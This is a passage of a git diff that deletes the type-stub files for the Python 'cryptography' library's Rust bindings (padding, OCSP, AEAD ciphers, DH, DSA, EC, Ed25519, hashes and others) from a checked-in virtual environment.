2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.primitives import padding -from cryptography.hazmat.primitives._serialization import ( - KeySerializationEncryptionBuilder, -) -from cryptography.utils import Buffer - -class PKCS7PaddingContext(padding.PaddingContext): - def __init__(self, block_size: int) -> None: ... - def update(self, data: Buffer) -> bytes: ... - def finalize(self) -> bytes: ... - -class ANSIX923PaddingContext(padding.PaddingContext): - def __init__(self, block_size: int) -> None: ... - def update(self, data: Buffer) -> bytes: ... - def finalize(self) -> bytes: ... - -class PKCS7UnpaddingContext(padding.PaddingContext): - def __init__(self, block_size: int) -> None: ... - def update(self, data: Buffer) -> bytes: ... - def finalize(self) -> bytes: ... - -class ANSIX923UnpaddingContext(padding.PaddingContext): - def __init__(self, block_size: int) -> None: ... - def update(self, data: Buffer) -> bytes: ... - def finalize(self) -> bytes: ... - -class Encoding: - PEM: typing.ClassVar[Encoding] - DER: typing.ClassVar[Encoding] - OpenSSH: typing.ClassVar[Encoding] - Raw: typing.ClassVar[Encoding] - X962: typing.ClassVar[Encoding] - SMIME: typing.ClassVar[Encoding] - -class PrivateFormat: - PKCS8: typing.ClassVar[PrivateFormat] - TraditionalOpenSSL: typing.ClassVar[PrivateFormat] - Raw: typing.ClassVar[PrivateFormat] - OpenSSH: typing.ClassVar[PrivateFormat] - PKCS12: typing.ClassVar[PrivateFormat] - def encryption_builder(self) -> KeySerializationEncryptionBuilder: ... - -class PublicFormat: - SubjectPublicKeyInfo: typing.ClassVar[PublicFormat] - PKCS1: typing.ClassVar[PublicFormat] - OpenSSH: typing.ClassVar[PublicFormat] - Raw: typing.ClassVar[PublicFormat] - CompressedPoint: typing.ClassVar[PublicFormat] - UncompressedPoint: typing.ClassVar[PublicFormat] - -class ParameterFormat: - PKCS3: typing.ClassVar[ParameterFormat] - -class ObjectIdentifier: - def __init__(self, value: str) -> None: ... - @property - def dotted_string(self) -> str: ... - @property - def _name(self) -> str: ... - -T = typing.TypeVar("T") diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/_openssl.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/_openssl.pyi deleted file mode 100644 index 3d4ea4eb2061c7c16a2e31af216367133e55c790..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/_openssl.pyi +++ /dev/null @@ -1,8 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -lib: typing.Any -ffi: typing.Any diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/asn1.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/asn1.pyi deleted file mode 100644 index 3b5f208ecf09aa661854e6983507b0e7b1ef15cb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/asn1.pyi +++ /dev/null @@ -1,7 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -def decode_dss_signature(signature: bytes) -> tuple[int, int]: ... -def encode_dss_signature(r: int, s: int) -> bytes: ... -def parse_spki_for_data(data: bytes) -> bytes: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/cobblestone.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/cobblestone.pyi deleted file mode 100644 index 95e9583829041f4de6cc8c93255d41cda56fa024..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/cobblestone.pyi +++ /dev/null @@ -1,33 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from cryptography.utils import Buffer - -class Cobblestone128Encryptor: - def __init__(self, key: Buffer, context: Buffer) -> None: ... - @staticmethod - def generate_key() -> bytes: ... - def update(self, data: Buffer) -> bytes: ... - def update_into(self, data: Buffer, buf: Buffer) -> int: ... - def finalize(self) -> bytes: ... - -class Cobblestone128Decryptor: - def __init__(self, key: Buffer, context: Buffer) -> None: ... - def update(self, data: Buffer) -> bytes: ... - def update_into(self, data: Buffer, buf: Buffer) -> int: ... - def finalize(self) -> bytes: ... - -class Cobblestone256Encryptor: - def __init__(self, key: Buffer, context: Buffer) -> None: ... - @staticmethod - def generate_key() -> bytes: ... - def update(self, data: Buffer) -> bytes: ... - def update_into(self, data: Buffer, buf: Buffer) -> int: ... - def finalize(self) -> bytes: ... - -class Cobblestone256Decryptor: - def __init__(self, key: Buffer, context: Buffer) -> None: ... - def update(self, data: Buffer) -> bytes: ... - def update_into(self, data: Buffer, buf: Buffer) -> int: ... - def finalize(self) -> bytes: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/declarative_asn1.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/declarative_asn1.pyi deleted file mode 100644 index 66fc0658b9eafcb6ab0828c4daedcf0b8dd90273..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/declarative_asn1.pyi +++ /dev/null @@ -1,133 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import datetime -import typing - -T = typing.TypeVar("T") - -def decode_der(cls: type[T], value: bytes) -> T: ... -def encode_der(value: typing.Any) -> bytes: ... -def non_root_python_to_rust(cls: type) -> Type: ... - -# Type is a Rust enum with tuple variants. For now, we express the type -# annotations like this: -class Type: - Sequence: typing.ClassVar[type] - SequenceOf: typing.ClassVar[type] - Set: typing.ClassVar[type] - SetOf: typing.ClassVar[type] - Option: typing.ClassVar[type] - Choice: typing.ClassVar[type] - ValueSet: typing.ClassVar[type] - PyBool: typing.ClassVar[type] - PyInt: typing.ClassVar[type] - PyBytes: typing.ClassVar[type] - PyStr: typing.ClassVar[type] - -class Annotation: - default: typing.Any | None - encoding: Encoding | None - size: Size | None - def __new__( - cls, - default: typing.Any | None = None, - encoding: Encoding | None = None, - size: Size | None = None, - ) -> Annotation: ... - def is_empty(self) -> bool: ... - -# Encoding is a Rust enum with tuple variants. For now, we express the type -# annotations like this: -class Encoding: - Implicit: typing.ClassVar[type] - Explicit: typing.ClassVar[type] - -class Size: - min: int - max: int | None - - def __new__(cls, min: int, max: int | None) -> Size: ... - @staticmethod - def exact(n: int) -> Size: ... - -class AnnotatedType: - inner: Type - annotation: Annotation - - def __new__(cls, inner: Type, annotation: Annotation) -> AnnotatedType: ... - -class AnnotatedTypeObject: - annotated_type: AnnotatedType - value: typing.Any - - def __new__( - cls, annotated_type: AnnotatedType, value: typing.Any - ) -> AnnotatedTypeObject: ... - -class Variant: - python_class: type - ann_type: AnnotatedType - tag_name: str | None - - def __new__( - cls, - python_class: type, - ann_type: AnnotatedType, - tag_name: str | None, - ) -> Variant: ... - -class PrintableString: - def __new__(cls, inner: str) -> PrintableString: ... - def __repr__(self) -> str: ... - def __eq__(self, other: object) -> bool: ... - def __hash__(self) -> int: ... - def as_str(self) -> str: ... - -class IA5String: - def __new__(cls, inner: str) -> IA5String: ... - def __repr__(self) -> str: ... - def __eq__(self, other: object) -> bool: ... - def __hash__(self) -> int: ... - def as_str(self) -> str: ... - -class UTCTime: - def __new__(cls, inner: datetime.datetime) -> UTCTime: ... - def __repr__(self) -> str: ... - def __eq__(self, other: object) -> bool: ... - def __hash__(self) -> int: ... - def as_datetime(self) -> datetime.datetime: ... - -class GeneralizedTime: - def __new__(cls, inner: datetime.datetime) -> GeneralizedTime: ... - def __repr__(self) -> str: ... - def __eq__(self, other: object) -> bool: ... - def __hash__(self) -> int: ... - def as_datetime(self) -> datetime.datetime: ... - -class BitString: - def __new__(cls, data: bytes, padding_bits: int) -> BitString: ... - def __repr__(self) -> str: ... - def __eq__(self, other: object) -> bool: ... - def __hash__(self) -> int: ... - def as_bytes(self) -> bytes: ... - def padding_bits(self) -> int: ... - -class Tlv: - @property - def tag_bytes(self) -> bytes: ... - @property - def data(self) -> memoryview: ... - def parse(self, cls: type): ... - -class SetOf(typing.Generic[T]): - def __new__(cls, inner: list[T]) -> SetOf[T]: ... - def as_list(self) -> list[T]: ... - def __eq__(self, other: object) -> bool: ... - def __repr__(self) -> str: ... - -class Null: - def __new__(cls) -> Null: ... - def __repr__(self) -> str: ... - def __eq__(self, other: object) -> bool: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/exceptions.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/exceptions.pyi deleted file mode 100644 index 09f46b1e817f806873c4a4bdd7b8466046b5f64d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/exceptions.pyi +++ /dev/null @@ -1,17 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -class _Reasons: - BACKEND_MISSING_INTERFACE: _Reasons - UNSUPPORTED_HASH: _Reasons - UNSUPPORTED_CIPHER: _Reasons - UNSUPPORTED_PADDING: _Reasons - UNSUPPORTED_MGF: _Reasons - UNSUPPORTED_PUBLIC_KEY_ALGORITHM: _Reasons - UNSUPPORTED_ELLIPTIC_CURVE: _Reasons - UNSUPPORTED_SERIALIZATION: _Reasons - UNSUPPORTED_X509: _Reasons - UNSUPPORTED_EXCHANGE_ALGORITHM: _Reasons - UNSUPPORTED_DIFFIE_HELLMAN: _Reasons - UNSUPPORTED_MAC: _Reasons diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/ocsp.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/ocsp.pyi deleted file mode 100644 index 103e96c1f117ed06924569fadb6a2b680fbd5456..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/ocsp.pyi +++ /dev/null @@ -1,117 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import datetime -from collections.abc import Iterator - -from cryptography import x509 -from cryptography.hazmat.primitives import hashes, serialization -from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes -from cryptography.x509 import ocsp - -class OCSPRequest: - @property - def issuer_key_hash(self) -> bytes: ... - @property - def issuer_name_hash(self) -> bytes: ... - @property - def hash_algorithm(self) -> hashes.HashAlgorithm: ... - @property - def serial_number(self) -> int: ... - def public_bytes(self, encoding: serialization.Encoding) -> bytes: ... - @property - def extensions(self) -> x509.Extensions: ... - -class OCSPResponse: - @property - def responses(self) -> Iterator[OCSPSingleResponse]: ... - @property - def response_status(self) -> ocsp.OCSPResponseStatus: ... - @property - def signature_algorithm_oid(self) -> x509.ObjectIdentifier: ... - @property - def signature_hash_algorithm( - self, - ) -> hashes.HashAlgorithm | None: ... - @property - def signature(self) -> bytes: ... - @property - def tbs_response_bytes(self) -> bytes: ... - @property - def certificates(self) -> list[x509.Certificate]: ... - @property - def responder_key_hash(self) -> bytes | None: ... - @property - def responder_name(self) -> x509.Name | None: ... - @property - def produced_at(self) -> datetime.datetime: ... - @property - def produced_at_utc(self) -> datetime.datetime: ... - @property - def certificate_status(self) -> ocsp.OCSPCertStatus: ... - @property - def revocation_time(self) -> datetime.datetime | None: ... - @property - def revocation_time_utc(self) -> datetime.datetime | None: ... - @property - def revocation_reason(self) -> x509.ReasonFlags | None: ... - @property - def this_update(self) -> datetime.datetime: ... - @property - def this_update_utc(self) -> datetime.datetime: ... - @property - def next_update(self) -> datetime.datetime | None: ... - @property - def next_update_utc(self) -> datetime.datetime | None: ... - @property - def issuer_key_hash(self) -> bytes: ... - @property - def issuer_name_hash(self) -> bytes: ... - @property - def hash_algorithm(self) -> hashes.HashAlgorithm: ... - @property - def serial_number(self) -> int: ... - @property - def extensions(self) -> x509.Extensions: ... - @property - def single_extensions(self) -> x509.Extensions: ... - def public_bytes(self, encoding: serialization.Encoding) -> bytes: ... - -class OCSPSingleResponse: - @property - def certificate_status(self) -> ocsp.OCSPCertStatus: ... - @property - def revocation_time(self) -> datetime.datetime | None: ... - @property - def revocation_time_utc(self) -> datetime.datetime | None: ... - @property - def revocation_reason(self) -> x509.ReasonFlags | None: ... - @property - def this_update(self) -> datetime.datetime: ... - @property - def this_update_utc(self) -> datetime.datetime: ... - @property - def next_update(self) -> datetime.datetime | None: ... - @property - def next_update_utc(self) -> datetime.datetime | None: ... - @property - def issuer_key_hash(self) -> bytes: ... - @property - def issuer_name_hash(self) -> bytes: ... - @property - def hash_algorithm(self) -> hashes.HashAlgorithm: ... - @property - def serial_number(self) -> int: ... - -def load_der_ocsp_request(data: bytes) -> ocsp.OCSPRequest: ... -def load_der_ocsp_response(data: bytes) -> ocsp.OCSPResponse: ... -def create_ocsp_request( - builder: ocsp.OCSPRequestBuilder, -) -> ocsp.OCSPRequest: ... -def create_ocsp_response( - status: ocsp.OCSPResponseStatus, - builder: ocsp.OCSPResponseBuilder | None, - private_key: PrivateKeyTypes | None, - hash_algorithm: hashes.HashAlgorithm | None, -) -> ocsp.OCSPResponse: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/__init__.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/__init__.pyi deleted file mode 100644 index e41ba78e5dc91d6cb7c646ce1b29a9dd55c41031..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/__init__.pyi +++ /dev/null @@ -1,82 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.bindings._rust.openssl import ( - aead, - ciphers, - cmac, - dh, - dsa, - ec, - ed448, - ed25519, - hashes, - hmac, - hpke, - kdf, - keys, - keywrap, - mldsa, - mlkem, - poly1305, - rsa, - x448, - x25519, -) - -__all__ = [ - "aead", - "ciphers", - "cmac", - "dh", - "dsa", - "ec", - "ed448", - "ed25519", - "hashes", - "hmac", - "hpke", - "kdf", - "keys", - "keywrap", - "mldsa", - "mlkem", - "openssl_version", - "openssl_version_text", - "poly1305", - "raise_openssl_error", - "rsa", - "x448", - "x25519", -] - -CRYPTOGRAPHY_IS_LIBRESSL: bool -CRYPTOGRAPHY_IS_BORINGSSL: bool -CRYPTOGRAPHY_IS_AWSLC: bool -CRYPTOGRAPHY_OPENSSL_309_OR_GREATER: bool -CRYPTOGRAPHY_OPENSSL_320_OR_GREATER: bool -CRYPTOGRAPHY_OPENSSL_330_OR_GREATER: bool -CRYPTOGRAPHY_OPENSSL_350_OR_GREATER: bool - -class Providers: ... - -_legacy_provider_loaded: bool -_providers: Providers - -def openssl_version() -> int: ... -def openssl_version_text() -> str: ... -def raise_openssl_error() -> typing.NoReturn: ... -def capture_error_stack() -> list[OpenSSLError]: ... -def is_fips_enabled() -> bool: ... -def enable_fips(providers: Providers) -> None: ... - -class OpenSSLError: - @property - def lib(self) -> int: ... - @property - def reason(self) -> int: ... - @property - def reason_text(self) -> bytes: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/aead.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/aead.pyi deleted file mode 100644 index eb44608a78d8e53be8f44e2789bcc417a27916fc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/aead.pyi +++ /dev/null @@ -1,189 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from collections.abc import Sequence - -from cryptography.utils import Buffer - -class AESGCM: - def __init__(self, key: Buffer) -> None: ... - @staticmethod - def generate_key(bit_length: int) -> bytes: ... - def encrypt( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - ) -> bytes: ... - def decrypt( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - ) -> bytes: ... - def encrypt_into( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - buf: Buffer, - ) -> int: ... - def decrypt_into( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - buf: Buffer, - ) -> int: ... - -class ChaCha20Poly1305: - def __init__(self, key: Buffer) -> None: ... - @staticmethod - def generate_key() -> bytes: ... - def encrypt( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - ) -> bytes: ... - def encrypt_into( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - buf: Buffer, - ) -> int: ... - def decrypt( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - ) -> bytes: ... - def decrypt_into( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - buf: Buffer, - ) -> int: ... - -class AESCCM: - def __init__(self, key: Buffer, tag_length: int = 16) -> None: ... - @staticmethod - def generate_key(bit_length: int) -> bytes: ... - def encrypt( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - ) -> bytes: ... - def encrypt_into( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - buf: Buffer, - ) -> int: ... - def decrypt( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - ) -> bytes: ... - def decrypt_into( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - buf: Buffer, - ) -> int: ... - -class AESSIV: - def __init__(self, key: Buffer) -> None: ... - @staticmethod - def generate_key(bit_length: int) -> bytes: ... - def encrypt( - self, - data: Buffer, - associated_data: Sequence[Buffer] | None, - ) -> bytes: ... - def encrypt_into( - self, - data: Buffer, - associated_data: Sequence[Buffer] | None, - buf: Buffer, - ) -> int: ... - def decrypt( - self, - data: Buffer, - associated_data: Sequence[Buffer] | None, - ) -> bytes: ... - def decrypt_into( - self, - data: Buffer, - associated_data: Sequence[Buffer] | None, - buf: Buffer, - ) -> int: ... - -class AESOCB3: - def __init__(self, key: Buffer) -> None: ... - @staticmethod - def generate_key(bit_length: int) -> bytes: ... - def encrypt( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - ) -> bytes: ... - def encrypt_into( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - buf: Buffer, - ) -> int: ... - def decrypt( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - ) -> bytes: ... - def decrypt_into( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - buf: Buffer, - ) -> int: ... - -class AESGCMSIV: - def __init__(self, key: Buffer) -> None: ... - @staticmethod - def generate_key(bit_length: int) -> bytes: ... - def encrypt( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - ) -> bytes: ... - def encrypt_into( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - buf: Buffer, - ) -> int: ... - def decrypt( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - ) -> bytes: ... - def decrypt_into( - self, - nonce: Buffer, - data: Buffer, - associated_data: Buffer | None, - buf: Buffer, - ) -> int: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ciphers.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ciphers.pyi deleted file mode 100644 index a48fb017ff562b3d26fa849ebf0c0f9dafb36aaf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ciphers.pyi +++ /dev/null @@ -1,38 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.primitives import ciphers -from cryptography.hazmat.primitives.ciphers import modes - -@typing.overload -def create_encryption_ctx( - algorithm: ciphers.CipherAlgorithm, mode: modes.ModeWithAuthenticationTag -) -> ciphers.AEADEncryptionContext: ... -@typing.overload -def create_encryption_ctx( - algorithm: ciphers.CipherAlgorithm, mode: modes.Mode | None -) -> ciphers.CipherContext: ... -@typing.overload -def create_decryption_ctx( - algorithm: ciphers.CipherAlgorithm, mode: modes.ModeWithAuthenticationTag -) -> ciphers.AEADDecryptionContext: ... -@typing.overload -def create_decryption_ctx( - algorithm: ciphers.CipherAlgorithm, mode: modes.Mode | None -) -> ciphers.CipherContext: ... -def cipher_supported( - algorithm: ciphers.CipherAlgorithm, mode: modes.Mode -) -> bool: ... -def _advance( - ctx: ciphers.AEADEncryptionContext | ciphers.AEADDecryptionContext, n: int -) -> None: ... -def _advance_aad( - ctx: ciphers.AEADEncryptionContext | ciphers.AEADDecryptionContext, n: int -) -> None: ... - -class CipherContext: ... -class AEADEncryptionContext: ... -class AEADDecryptionContext: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/cmac.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/cmac.pyi deleted file mode 100644 index 9c03508bc89bf087e24c684802eeec344d76bb9e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/cmac.pyi +++ /dev/null @@ -1,18 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.primitives import ciphers - -class CMAC: - def __init__( - self, - algorithm: ciphers.BlockCipherAlgorithm, - backend: typing.Any = None, - ) -> None: ... - def update(self, data: bytes) -> None: ... - def finalize(self) -> bytes: ... - def verify(self, signature: bytes) -> None: ... - def copy(self) -> CMAC: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/dh.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/dh.pyi deleted file mode 100644 index 08733d745c3ddc994f358193dd4b79ce359583d8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/dh.pyi +++ /dev/null @@ -1,51 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.primitives.asymmetric import dh - -MIN_MODULUS_SIZE: int - -class DHPrivateKey: ... -class DHPublicKey: ... -class DHParameters: ... - -class DHPrivateNumbers: - def __init__(self, x: int, public_numbers: DHPublicNumbers) -> None: ... - def private_key(self, backend: typing.Any = None) -> dh.DHPrivateKey: ... - @property - def x(self) -> int: ... - @property - def public_numbers(self) -> DHPublicNumbers: ... - -class DHPublicNumbers: - def __init__( - self, y: int, parameter_numbers: DHParameterNumbers - ) -> None: ... - def public_key(self, backend: typing.Any = None) -> dh.DHPublicKey: ... - @property - def y(self) -> int: ... - @property - def parameter_numbers(self) -> DHParameterNumbers: ... - -class DHParameterNumbers: - def __init__(self, p: int, g: int, q: int | None = None) -> None: ... - def parameters(self, backend: typing.Any = None) -> dh.DHParameters: ... - @property - def p(self) -> int: ... - @property - def g(self) -> int: ... - @property - def q(self) -> int | None: ... - -def generate_parameters( - generator: int, key_size: int, backend: typing.Any = None -) -> dh.DHParameters: ... -def from_pem_parameters( - data: bytes, backend: typing.Any = None -) -> dh.DHParameters: ... -def from_der_parameters( - data: bytes, backend: typing.Any = None -) -> dh.DHParameters: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/dsa.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/dsa.pyi deleted file mode 100644 index 0922a4c4041a90b1e884f56522f82bced398c80e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/dsa.pyi +++ /dev/null @@ -1,41 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.primitives.asymmetric import dsa - -class DSAPrivateKey: ... -class DSAPublicKey: ... -class DSAParameters: ... - -class DSAPrivateNumbers: - def __init__(self, x: int, public_numbers: DSAPublicNumbers) -> None: ... - @property - def x(self) -> int: ... - @property - def public_numbers(self) -> DSAPublicNumbers: ... - def private_key(self, backend: typing.Any = None) -> dsa.DSAPrivateKey: ... - -class DSAPublicNumbers: - def __init__( - self, y: int, parameter_numbers: DSAParameterNumbers - ) -> None: ... - @property - def y(self) -> int: ... - @property - def parameter_numbers(self) -> DSAParameterNumbers: ... - def public_key(self, backend: typing.Any = None) -> dsa.DSAPublicKey: ... - -class DSAParameterNumbers: - def __init__(self, p: int, q: int, g: int) -> None: ... - @property - def p(self) -> int: ... - @property - def q(self) -> int: ... - @property - def g(self) -> int: ... - def parameters(self, backend: typing.Any = None) -> dsa.DSAParameters: ... - -def generate_parameters(key_size: int) -> dsa.DSAParameters: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ec.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ec.pyi deleted file mode 100644 index 5c3b7bf6e4a9bafac1423bd3936ebc347885a950..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ec.pyi +++ /dev/null @@ -1,52 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.primitives.asymmetric import ec - -class ECPrivateKey: ... -class ECPublicKey: ... - -class EllipticCurvePrivateNumbers: - def __init__( - self, private_value: int, public_numbers: EllipticCurvePublicNumbers - ) -> None: ... - def private_key( - self, backend: typing.Any = None - ) -> ec.EllipticCurvePrivateKey: ... - @property - def private_value(self) -> int: ... - @property - def public_numbers(self) -> EllipticCurvePublicNumbers: ... - -class EllipticCurvePublicNumbers: - def __init__(self, x: int, y: int, curve: ec.EllipticCurve) -> None: ... - def public_key( - self, backend: typing.Any = None - ) -> ec.EllipticCurvePublicKey: ... - @property - def x(self) -> int: ... - @property - def y(self) -> int: ... - @property - def curve(self) -> ec.EllipticCurve: ... - def __eq__(self, other: object) -> bool: ... - -def curve_supported(curve: ec.EllipticCurve) -> bool: ... -def generate_private_key( - curve: ec.EllipticCurve, backend: typing.Any = None -) -> ec.EllipticCurvePrivateKey: ... -def from_private_numbers( - numbers: ec.EllipticCurvePrivateNumbers, -) -> ec.EllipticCurvePrivateKey: ... -def from_public_numbers( - numbers: ec.EllipticCurvePublicNumbers, -) -> ec.EllipticCurvePublicKey: ... -def from_public_bytes( - curve: ec.EllipticCurve, data: bytes -) -> ec.EllipticCurvePublicKey: ... -def derive_private_key( - private_value: int, curve: ec.EllipticCurve -) -> ec.EllipticCurvePrivateKey: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ed25519.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ed25519.pyi deleted file mode 100644 index f85b3d1b2361832095a00ba9b67675ad365339dd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ed25519.pyi +++ /dev/null @@ -1,13 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from cryptography.hazmat.primitives.asymmetric import ed25519 -from cryptography.utils import Buffer - -class Ed25519PrivateKey: ... -class Ed25519PublicKey: ... - -def generate_key() -> ed25519.Ed25519PrivateKey: ... -def from_private_bytes(data: Buffer) -> ed25519.Ed25519PrivateKey: ... -def from_public_bytes(data: bytes) -> ed25519.Ed25519PublicKey: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ed448.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ed448.pyi deleted file mode 100644 index c8ca0ecb156b9d9a7e69cf10bf71f187362f3315..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/ed448.pyi +++ /dev/null @@ -1,13 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from cryptography.hazmat.primitives.asymmetric import ed448 -from cryptography.utils import Buffer - -class Ed448PrivateKey: ... -class Ed448PublicKey: ... - -def generate_key() -> ed448.Ed448PrivateKey: ... -def from_private_bytes(data: Buffer) -> ed448.Ed448PrivateKey: ... -def from_public_bytes(data: bytes) -> ed448.Ed448PublicKey: ... diff --git a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/hashes.pyi b/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/hashes.pyi deleted file mode 100644 index 106b531c66a17cc2ceb3effc9863b8cc614a1351..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/bindings/_rust/openssl/hashes.pyi +++ /dev/null @@ -1,30 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -import typing - -from cryptography.hazmat.primitives import hashes -from cryptography.utils import Buffer - -class Hash(hashes.HashContext): - def __init__( - self, algorithm: hashes.HashAlgorithm, backend: typing.Any = None - ) -> None: ... - @property - def algorithm(self) -> hashes.HashAlgorithm: ... - def update(self, data: Buffer) -> None: ... - def finalize(self) -> bytes: ... - def copy(self) -> Hash: ... - @staticmethod - def hash(algorithm: hashes.HashAlgorithm, data: Buffer) -> bytes: ... - -def hash_supported(algorithm: hashes.HashAlgorithm) -> bool: ... - -class XOFHash: - def __init__(self, algorithm: hashes.ExtendableOutputFunction) -> None: ... - @property - def algorithm(self) -> hashes.ExtendableOutputFunction: ... - def update(self, data: Buffer) -> None: ... - def 